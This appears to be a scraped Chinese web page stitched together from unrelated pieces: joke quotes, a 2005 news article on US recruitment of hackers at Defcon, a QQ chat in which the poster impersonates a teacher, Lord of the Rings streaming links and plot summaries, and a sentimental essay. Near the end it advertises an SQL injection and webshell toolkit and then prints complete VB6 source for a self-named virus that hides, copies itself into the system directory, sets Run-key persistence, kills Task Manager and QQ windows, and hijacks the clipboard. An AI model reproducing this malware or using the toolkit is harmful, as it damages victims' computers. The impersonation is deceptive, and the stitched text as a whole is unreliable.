夸父：干我们这一行风吹日晒，用了点＊＊，嘿，还真对得起咱这张脸！
神农氏：我靠，这草有毒！
叔齐：哥，我饿——
王昭君：大家要牢记，掌握好一门外语才能去国外发展。
西施：长得丑不是我的错，但出来吓唬小动物确实是我的不对，我向掉下来的小鸟和淹死的小鱼道歉！
范蠡：西施是属于夫差的，也是属于我范蠡的，但最终还是属于我范蠡的，我范蠡，就像8、9点钟的太阳……
董承：衣带诏……我说我不签，你们非让我签……
杨贵妃：不给钱，两丈丝绸就来打发老娘？他*的，想白玩呀！
张三丰：……我到底还是个处男。
2005-8-18 9:57:00 信息源:天极网
据外电报道，随着网络骗子、有组织犯罪集团和恶意黑客在互联网上建立自己的家园，美国联邦政府的官员的也不时在其中游荡。他们的目标是寻找天才的黑客加入信息战的前沿阵地。
在不久前在拉斯维加斯举行的Defcon黑客会议上，美国国防部副部长李德·威尔斯对众多黑客说:“如果你向面对最前沿问题的挑战，如果你想成为我们这个时代重要事件的一员，我们邀请你们加入我们。”
根据经常参加Defcon会议的人士介绍，政府雇员通常占参会者的一半。而一些Defcon的会议人员甚至自己就在国家安全局和其他政府机构供职。信息安全技术评论家Richard Thiem说:“你不能被那些穿制服的给吓倒。我曾经在五角大楼讲课，几乎有三分之一的听众都在Defcon的会议上见过面。”
不过，联邦政府官员招聘的一个底线是，对那些曾经未经许可私闯计算机系统的黑客没有兴趣。国防部网络犯罪研究所的负责人Jim Christy说:“我们寻找那些没有越过红线的人，作为我们的雇员，要求有一定的道德素养。”
其实，联邦政府和黑客之间的“暧昧”关系从早就有。联邦政府是目前一系列网络技术最初的资助者，比如互联网。当今的许多大黑客最初即在美国的军队中掌握了计算机技术，并在后来加入私营公司。在一些大学的计算机安全专业，如果学生愿意留下工作，大学或政府将为其4年的学费“买单”。
曾有传言称五角大楼雇用了国内的黑客对其他国家的网络进行攻击，对此，国防部的发言人均不愿置评。
据悉，从Defcon会议自1992年主办以来，联邦政府的众多官员就成为大会参加者。不过，为了避嫌，他们通常不会和其他黑客同住一个宾馆。除了招募黑客外，这些参会官员的另外一个目的是培养黑客业界的“线人”(消息人士)。参加了最近一次Defcon会议的联邦贸易委员会官员Don Blumenthal说:“在这里，我可以学习，同时记住一些人的名字，会后我们可以保持联系。”
据报道，在2001年，联邦调查局曾在Defcon会议上逮捕了一名俄罗斯的程序员 Dmitri Skylarov，此举引起美国黑客极度不满。这名俄罗斯程序员涉嫌编写了破解电子图书版权的黑客程序。但稍候，这种对立局面即烟消云散。
（1）我和李成法的聊天记录，我用老师的QQ跟他聊：
用户:********(筱竹)
==================================================
消息组:我的好友(73)
==================================================
消息类型:聊天记录
==================================================
————————————————–
消息对象:271244342(部长)
————————————————–
2005-08-22 14:20:30 筱竹
你是？
2005-08-22 14:20:55 部长
老师您不认识俺了啊！[:'(]俺姓李啊！
2005-08-22 14:22:38 筱竹
哦，呵呵，忘了
2005-08-22 14:22:16 部长
老师你换的这个头像真的是靓极了啊！
2005-08-22 14:24:02 筱竹
呵呵，你现在在哪里呢
2005-08-22 14:23:11 部长
我就在滁州啊！
2005-08-22 14:24:58 筱竹
你没出去吗
2005-08-22 14:24:17 部长
回来学CAD的啊1你的照片象明星啊！
2005-08-22 14:26:43 筱竹
想考研吗
这是我自己的照片
2005-08-22 14:26:40 部长
我知道啊！我看的出来啊 ！用视频拍的吗？真好看！
你想考研啊 ？
2005-08-22 14:29:07 筱竹
我可能过几个月就出去
你自己在那学CAD？没其他同学吗
2005-08-22 14:28:35 部长
没有啊！就我一个啊！你去天津啊 ！
2005-08-22 14:30:23 筱竹
没可没说哦
可能会去天长的
2005-08-22 14:29:58 部长
哦！你怎么会去那个小地方啊？
我猜的啊！我还以为你去找你男朋友呢？
2005-08-22 14:32:44 筱竹
呵，我现在可没男朋友哦
2005-08-22 14:32:17 部长
怎么又没了啊！你上次还给我说的啊 ！我还等你吃你的喜糖呢！
2005-08-22 14:33:38 部长
你这学期还带课吗？
2005-08-22 14:35:18 筱竹
带啊
不带还能做什么呢
2005-08-22 14:34:25 部长
那就过完年出去啊？
2005-08-22 14:36:12 筱竹
可能吧
到时候看
2005-08-22 14:35:30 部长
我还是觉的你当老师比较合适
2005-08-22 14:37:04 筱竹
哦
你到底叫什么啊
2005-08-22 14:36:31 部长
哈哈！你还是不知道我啊1我叫李成法啊！怎么你不记的俺了啊 ！
2005-08-22 14:39:11 筱竹
不好意思
真的忘了[;-D]
2005-08-22 14:38:46 部长
没有事情啊！谁叫我不是好学生呢！老师只能记的好学生啊 ！哈哈！现在想起来了吗？
2005-08-22 14:41:57 筱竹
你是02级的吧
我只知道你们那的金明珠、周亚、王文飞、王雪伟、张燕几个
你是不是那个比较胖的
2005-08-22 14:41:46 部长
比较胖的啊！哈哈1我不知道啊！你看看我就知道了啊！
2005-08-22 14:43:38 筱竹
好 继续阅读 »
播放：
第一部：
http://vod.cnool.net/temp/temp14/85659300112451850242371.asx
第二部：
http://vod.cnool.net/temp/temp14/53935300112451854329832.asx
第三部：
http://vod.cnool.net/temp/temp14/17195000112451857057954.asx
剧情简介：
第二集以一个悬念结尾：咕噜（Gollum）暗生祸心，弗罗多（Frodo）完全不知情，顺着咕噜指引的道路前进……
第三集的开始和第二集一样，并非直接承继上一集的结尾，而是以一段咕噜的回忆开始的。原来咕噜也曾是霍比特人中的一员，当年他的名字叫施密戈（Smeagol），他还有个哥们迪亚哥（Deagol）；两人和其他乐观好吃的霍比特人一样，过着自给自足的神仙日子。后来有一天，两兄弟偶然找到了魔戒，在其强大的黑暗魔力面前，施密戈的心沦陷了，他杀害了迪亚哥，独占了魔戒，同时还变得不相信任何人，一个人揣着魔戒浪迹天涯……
随着咕噜回忆录的结束，“魔戒：王者回归”的金黄色字幕出现，魔戒的终极之旅终于展开：弗罗多、山姆（Sam）和咕噜继续前往末日火山（Mount of Doom），一路上山姆不断发现咕噜老是一个人自言自语，隐隐约约似乎要对弗罗多不利；山姆将咕噜的状况告诉了弗罗多，无奈弗罗多根本不相信，反而责怪山姆太小心眼，说做霍比特人应当胸襟宽大足以包怀天地云云，让山姆郁闷不已。
同时，白袍巫师甘道夫爷爷在圣盔谷（Helm’s Deep）打了个大胜仗之后，人逢喜事精神爽，连一头白发都梳得更加有型，宛如小姑娘的发髻，光可鉴人。这时，和树胡们一起打败了白袍恶巫萨茹曼（Saruman the White）的霍比特两小皮蓬（Pippin）和梅利（Merry）也赶来和大伙会合了。一天晚上，当大家都熟睡了的时候，好动的皮蓬却怎么也不能合眼，脑海里闪烁的都是树胡反击战中激动人心的场面；突然，他记起来萨茹曼那只无所不知的“视眼”正在甘道夫怀中……就像第一集他和梅利去偷花炮一样，这次他又将严密裹着“视眼”的包袱打开……“不！”发现有情况的阿拉贡（Aragorn）大声疾呼，但为时已晚……
原来“视眼”和魔王索伦（Sauron）的天眼是相通的，这下他认为皮蓬就是“带戒者”了，小霍比特人将面临大危险……不只是皮蓬，弗罗多一伙也面临生死考验。咕噜不断地呱噪离间，加上魔戒的黑暗念力，使得弗罗多逐渐丧失了判断忠奸的能力，他执意留下山姆一个人，自己则和咕噜上路。而甘道夫为了保护皮蓬，决定带他去整个中土（Middle Earth）最坚固的堡垒Minas Tirith，同时也是刚多（Gondor）王国的首都。在那里，他们见到了王国议会的首领德勒瑟（Denethor）。但他根本不愿听从甘道夫的劝告，认为自己才是刚多王国的最高统治者，不愿立阿拉贡为王。但甘道夫知道时不我待，便秘令皮蓬爬到Minas Tirith最高的塔楼里，点燃了那里的灯塔。
灯塔一亮，中土皆惊。还在罗翰国（Rohan）的阿拉贡知道这是甘道夫的暗号，意味着最后的战斗要开始了。于是他便和罗翰国国王塞奥顿（Theoden）一起打点兵马，准备远赴Minas Tirith援助人类军队，而伊奥雯（Eowyn）公主和梅利也非要坚持同行。在半路上，阿拉贡他们遇上了最神秘的贵客……
再说弗罗多和咕噜继续前往末日火山，咕噜诱骗弗罗多说有条小路，走起来更快，把弗罗多骗到了一个伸手不见五指的地道里，然后自己则突然消失了，而弗罗多感觉到黑暗中有某种细碎的声音正朝他接近……他拿出精灵女王所赠的宝物（the Phial of Light）一看，不禁魂飞天外！
说回阿拉贡一行，原来他遇上的是自己的老岳丈——精灵王艾尔隆（Elrond）。后者告诉阿拉贡，他媳妇——精灵公主阿尔温（Arwen）想他想到骨髓里，已经一病不起，恨不得早日与情郎相会、了却终生；正当阿拉贡心弛神摇之际，精灵岳丈又祭出一把宝剑，郑重其事地交给女媳。原来，这正是当年那把曾砍段魔王索伦手臂的“纳西尔圣剑（Narsil）”，当年虽然被魔王的哈蟆功震碎了，但神通广大的艾尔隆又把它重新熔铸为一体，并告诉女媳此剑的妙用：得此神剑，击败索伦、重整刚多王朝指日可待！但是，他必须首先做一件事……
这时，法拉米尔（Faramir）也回到了Minas Tirith，但当德勒瑟听说他放走了魔戒时，不禁大为恼火，直斥法拉米尔不孝，说要是波罗米尔还在，就不会空手而归。法拉米尔气苦之下，独率200骑兵就出城找兽人们泄愤，结果全军覆没，他自己也身受重伤，被爱马倒拖而归。德勒瑟后悔莫及，精神失常，竟然张罗着要和奄奄一息的法拉米尔一起自焚，刚多王国高层局面危在旦夕……而那边厢的弗罗多刚刚生死未卜，又落入了两个半兽人的手里，千钧一发之际，山姆从天而降，兽人伏法，两小抱头痛哭，追忆友情岁月、展望灭魔人生。忆苦思甜完毕，两人又换上了兽人的盔甲，混入索伦的势力范围。前面，火山的烈焰在望；路，快要到尽头了！
对阿拉贡而言，原来他要做的，是前往死亡之谷，凭“纳西尔圣剑”召唤那里被死神禁锢的死亡战士们。铁哥们精灵莱格拉斯（Legolas）和矮人金利（Gimli）坚持共同探险……俗话说：哥们齐心，其利断金，阿拉贡成功凭借王者之剑唤醒死亡战士们，答应在打败索伦的军队后，就把他们从死神手中解救出来。于是，阿拉贡率领生力军和罗翰国的军队在Minas Tirith会合了。伊奥雯公主一颗悬着的芳心也总算放了下来，美丽的大眼睛里闪动着的，是天地间至爱的柔情！在那一刻，阿拉贡似乎也怦然心动……幸亏他及时调整情绪，将自己投入到拯救法拉米尔的紧急任务中去，才不至于对不起岳丈对不起阿尔温……
决战终于开始了！Minas Tirith前面的佩兰诺平原上，对峙着双方的巨型兵马。但见老当益壮（其实他是没有年龄限制的啦）的甘道夫一马当先朝敌军冲去，法杖发出的圣洁光茫，给予正义之军以无比勇气（银幕下小生作涕泪交流状）。好一场震古烁金的恶战！双方凡属使得上的人马都用上了，天地也为之变色！最后，当甘道夫站在尸横遍野的战场上时，不由感叹：真是没有牺牲就没有胜利、没有痛苦就没有自由啊！剩下来的，就是要决定，在最后的有限时间里，该怎么去做来改变中土的命运，他们决定要替弗罗多争取时间。
此时，弗罗多和山姆已经来到了末日火山上，炙热的空气，加上魔戒的强大压力，弗罗多几乎不堪重负，全靠山姆竭力拉扯上山。好在火山口就在前方……阿拉贡他们也赶到索伦的老巢——“黑暗之门”，像他的祖先一样，与索伦作最后的决斗，同时也吸引魔王的注意力，好让弗罗多他们最终能够把魔戒扔尽毁灭的火焰里。就在阿拉贡他们正在“黑暗之门”恶战，而弗罗多正准备将魔戒扔下去的时候，一道黑影出其不意地从暗地里窜了出来！只听山姆一声尖叫：“弗罗多！”……
双塔奇兵1:
http://61.242.83.2/01.rm
《指环王2：双塔》The Lord of the Rings: The Two Towers
红袖笑译：《魔戒2：碧血丹青照双塔》
期待指数：★★★★★
上映日期：12月25日
官方网址：http://www.lordoftherings.net/
剧情简介：
接着第一集，护戒联盟中的哈比人梅利与皮平被奥克斯掳走，护戒使者们不得不分头行事：弗拉多与好友山姆继续向索隆领地莫都(Modor)进发，途中他们制服了也在疯狂寻找魔戒的怪物古鲁姆(Gollum)，魔戒曾经为他带来了长寿与隐身之道直到弗拉多的前辈毕尔博拿走了这枚戒指。由于通向莫都的路途十分艰险，而末日山就在莫都的北面，所以弗拉多与山姆不得不依靠古鲁姆的帮助。除了要时刻提防心怀鬼胎的古鲁姆，以及强大的魔戒幽灵，弗拉多还要抵御魔戒对其心灵愈来愈强的侵蚀，可谓生死一线，险情迭出……
另一面护戒使者阿拉贡、莱格拉斯与吉穆利则与成功逃离奥克斯营地的梅利与皮平会合，并加入人类族群罗翰国(Rohan)的队伍准备对邪恶的白衣术士萨茹曼的领地伊森加德发动进攻。而此时黑魁首索隆也策动其奥克斯部队向罗翰的首都埃多拉斯进发，精灵族与人类的联盟将遭到黑魔法兽兵强大战斗力与萨茹曼邪恶魔法的双重挑战！紧要关头甘多夫再度现身，更从灰衣法师升至法力无边的白衣法师，双方一场恶战在所难免……
魔戒现身-1：
mms://220.189.192.28/vod5-1/指环王-魔戒现身-1.wmv
魔戒现身-2：
mms://220.189.192.28/vod5-1/指环王-魔戒现身-2.wmv
电影简介: 本片是英国鬼才导演彼得杰克森结合最新电影特效的魔幻新作，根据托尔金畅销全球的经典小说「魔戒三部曲」改编，并以三部曲的方式拍摄，【首部曲─魔戒现身】描述史前世界中，一位名叫佛罗多巴金的年轻人，无意中得到了一只魔戒。 这只戒指拥有无穷的神秘力量，戒指原来是黑暗君王索伦所有的，却意外地到了佛罗多手里。佛罗多决定将戒指摧毁，以免索伦夺回去巩固自己的势力。索伦为了阻止佛罗多，于是派出了手下的怪兽加以追杀，一场正邪大战眼看着一触即发…
今夜的风从哪一个方向吹来呢？吹落的叶子又是怎么样落雨般的无奈？有过的痕还有迹可寻吗？即使前夜的痛来不及瘉痊，新的伤口又已裂开。你依旧要相信你，相信自己一定可以用最温柔的笑容将那所有遮掩！哪怕已笑得多么的疲倦……
很多人拥挤在一处，叫嚷着，应很热闹，可是你却感觉了穿透心肺的孤寒。这样的时候，没有人会给你温暖，那就请你，努力再努力一点，想象着月光易生寒的窗外是个无风无雨的白日长天。似水华年，不知何时开始永不转换四季的屋内，想象着已轮回成另一场画面，不再是沉沉浮浮的清茶，更不是浓浓的不加方糖的咖啡，而是开一瓶很纯的红酒，想醉就倒上一大杯，然后慢慢的去品，细细的回味！酒到浓时定可以让你飞……
飞——是不是就象那秋夜里的落叶那种短暂随风而嬉过后再怎么样挣扎也只会是无声的寂寞的悬坠？其实并不想要这样的飞是不是？可是你还能做什么呢？当你粗略懂得什么才是真爱的时候爱已不在，当你真的真的受不了疼的时候，痛已生根……你所能做的只有洒脱点，对自己说一切都无所谓！因为总说受不了的还得继续承受，并且这么久不是也一直受过来了吗？！多给自己些坚持，痛时就去照照镜子，不要总用深沉的眼睛看沧海般的心田，只去看你那美丽的笑脸又比前夜更灿烂了几点……
真的醉了吗？怕醉，更怕醉后的疲惫！
真的疲惫了吗？怕疲惫，更怕疲惫后的彻夜不睡！
真的彻夜不睡吗？怕彻夜不睡，更怕彻夜不睡也会引来梦魂累！
真的引来梦魂累了吗？怕引来梦魂累，更怕他不经意的回来冰冻住你的不干的眼泪！
……
“每颗心上，某一个地方，总有个记忆挥不散，每个深夜，某一个地方，总有个最深的思量，世界万千的变幻，爱把有情的人分两端，心若知道灵犀的方向，哪怕不能够朝夕相伴，城里的月光把梦照亮，请温暖她心房，看透了人间聚散，能不能多点快乐片段？ 每颗心上，某一个地方，总有个记忆挥不散，每个深夜，某一个地方，总有个最深的思量，世界万千的变幻，爱把有情的人分两端，心若知道灵犀的方向，哪怕不能够朝夕相伴，城里的月光把梦照亮，请守候她心房，若有一天能重逢，让幸福洒满整个夜晚……”
一次次的聆听这样的旋律！一次次的感怀沧桑！
今夜有风，今夜有痛，今夜寒重酒意浓……
自创的注入引擎,能检测更多存在注入的连接!使用多线程技术,检测速度快!
对”MSSQL显错模式”、”MSSQL不显错模式”、”Access”等数据库都有很好注入检测能力,内集”跨库查询”、”注入点扫描”、”管理入口检测”、”目录查看”、”CMD命令”、”木马上传”、”注册表读取”、”旁注/上传”、”WebShell管理”于一身的综合注入工具包!
管理入口扫描
扫描管理入口等网页！可显示目录！
扫描注入
检测一个网页的连接是否有注入问题，直观明了！
目录查看了解服务器的主机目录状态,爽！
CMD / 上传利用 Xp_cmdshell 或 wscript.shell
进行命令输入
注册表
软件下载
今天我无聊时做了一个简单的病毒！希望和大家讨论讨论！
这病毒的功能如下
1 运行时隐藏起来
2 自我复制到系统目录下
3 WIN启动时自我运行
5 不准重复打开这个程序
4 程序运行时不能打开任务管理器，QQ等！
6 计算机名称改变
7 每次粘贴时，出现的是“我是甯王我怕谁,我爱你！”
首先介绍一下要用到的API吧（只说功能）
GetForegroundWindow 获得前台窗口的句柄
GetClassName 为指定的窗口取得类名
PostMessage 将一条消息投递到指定窗口的消息队列
GetWindowText 取得一个窗体的标题文字
SetComputerName 设置新的计算机名
GetSystemDirectory 取得Windows系统目录
GetWindow 获得一个窗口的句柄
ShowWindow 控制窗口的可见性
RegOpenKey 打开一个现有的注册表项
RegQueryValueEx 获取一个项的设置值
RegSetValueEx 设置指定项的值
RegCloseKey 关闭系统注册表中的一个项
然后开始编写！
1添加一个: Module1模块
Option Explicit
’声明API
Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long ' Note that if you declare the lpData parameter as String, you must pass it By Value.
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Public Declare Function RegQueryValueEx Lib "advapi32.dll" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long
Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Public Declare Function GetForegroundWindow Lib "user32" () As Long
Public Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Public Declare Function SetComputerName Lib "kernel32" Alias "SetComputerNameA" (ByVal lpComputerName As String) As Long
Public Declare Function GetSystemDirectory Lib "kernel32" Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
’声明常量
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const GW_OWNER = 4
Public Const SW_HIDE = 0
’在写一个修改注册表的子过程
Public Sub regedit(strPath As String, strKey As String, strValue As String)
Dim l As Long
Dim s As String
Dim s1 As String
Dim n As Long
Dim keyhand As Long
s = String(255, Chr(0))
s1 = String(255, Chr(0))
n = 255
l = RegOpenKey(HKEY_LOCAL_MACHINE, strPath, keyhand)
If l = 0 Then 是否打开
l = RegQueryValueEx(keyhand, strKey, 0, 1, ByVal s, 255)
If l <> 0 Then 是否也有
l = RegSetValueEx(keyhand, strKey, 0, 1, ByVal strValue, LenB(strValue))
’修改注册表
End If
End If
l = RegCloseKey(keyhand)
’关闭
End Sub
2 回到FORM1双击窗休:
Option Explicit
Dim systempath As String
选择LOAD事件
Private Sub Form_Load()
Dim K As Long
'不准重复打开这个程序
Dim title As String
If App.PrevInstance Then
title = App.title
App.title = ""
Me.Caption = ""
AppActivate title
End
End If
'————–
'得到系统的系统目录
systempath = String(255, Chr(0))
GetSystemDirectory systempath, 254
systempath = Left(systempath, InStr(systempath, Chr(0)) – 1)
'自我复制到系统目录
If Not Dir(systempath & "\" & "liuning.exe") = "liuning.exe" Then
FileCopy App.Path & "\" & App.EXEName & ".exe", systempath & "\" & "liuning.exe"
End If
'自动运行
regedit "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "甯王小病毒", systempath & "\" & "liuning" & ".exe"
'计算机改名
SetComputerName "QQ122273014"
'隐藏
K = GetWindow(Me.hwnd, GW_OWNER)
ShowWindow K, SW_HIDE
Timer1.Enabled = True
Me.Hide
End Sub
再添加一个TIME1控件
Private Sub Timer1_Timer()
'重点
Dim K As Long
Dim s As String
Dim s1 As String
Static n As Long
s = Space(19)
s1 = Space(19)
'得到句柄
K = GetForegroundWindow
'得到类名
GetClassName K, s, 20
'查看当前程序的标题
GetWindowText K, s1, 20
'打开的是QQ或是其它类名是#32770时关闭
If Left(s, 6) = "#32770" Then
' 打开的是WIN管理器
If Left(s1, 7) = "Windows" Then
PostMessage K, &H10, 0&, 0& ’关闭程序
Exit Sub
End If
n = n + 1
If n >= 40 Then
PostMessage K, &H10, 0&, 0& ’关闭程序
n = 0
End If
End If
'认用户粘贴时就会出现
Clipboard.Clear
Clipboard.SetText "我是甯王我怕谁,我爱你！"
'不准删除注册表里的信息
regedit "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "甯王小病毒", systempath & "\" & "liuning" & ".exe"
End Sub